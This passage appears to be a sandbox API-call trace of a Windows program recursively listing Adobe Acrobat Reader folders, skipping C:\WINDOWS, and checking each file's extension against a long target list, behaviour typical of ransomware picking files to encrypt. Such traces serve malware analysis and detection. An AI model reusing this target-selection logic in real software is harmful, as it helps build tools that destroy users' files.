	[0174.397] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.398] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.398] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.399] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.399] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.400] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.401] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.401] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0174.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.403] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x373f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0174.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.403] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0174.403] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0174.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0174.405] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer", cAlternateFileName="MY-COM~2")) returned 1
	[0174.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0174.409] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0174.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.564] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0174.564] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0174.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.564] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0174.564] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0174.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0174.564] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0174.705] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.705] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0174.706] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.706] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0174.707] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.707] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0174.707] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.707] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.709] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.709] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0174.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.710] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.712] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.712] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0174.715] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.715] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.716] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.716] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0174.718] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.718] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0174.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.719] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0174.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.722] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0174.723] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.723] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0174.725] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.725] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0174.728] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.728] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0174.728] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu") returned 119
	[0174.728] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu") returned 1
	[0174.728] lstrlenW (lpString="hu-hu") returned 5
	[0174.728] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1
	[0174.728] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42c29b8
	[0174.728] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu") returned 119
	[0174.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\hu-hu\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0174.730] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0174.730] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.730] lstrlenW (lpString="ui-strings.js") returned 13
	[0174.730] lstrlenW (lpString=".1cd") returned 4
	[0174.730] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0174.730] lstrlenW (lpString=".3ds") returned 4
	[0174.730] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0174.730] lstrlenW (lpString=".3fr") returned 4
	[0174.730] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0174.730] lstrlenW (lpString=".3g2") returned 4
	[0174.730] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0174.730] lstrlenW (lpString=".3gp") returned 4
	[0174.730] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0174.730] lstrlenW (lpString=".7z") returned 3
	[0174.730] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0174.730] lstrlenW (lpString=".accda") returned 6
	[0174.731] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".accdb") returned 6
	[0174.731] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".accdc") returned 6
	[0174.731] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".accde") returned 6
	[0174.731] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".accdt") returned 6
	[0174.731] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".accdw") returned 6
	[0174.731] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0174.731] lstrlenW (lpString=".adb") returned 4
	[0174.731] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".adp") returned 4
	[0174.731] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".ai") returned 3
	[0174.731] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0174.731] lstrlenW (lpString=".ai3") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0174.731] lstrlenW (lpString=".ai4") returned 4
	[0174.731] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
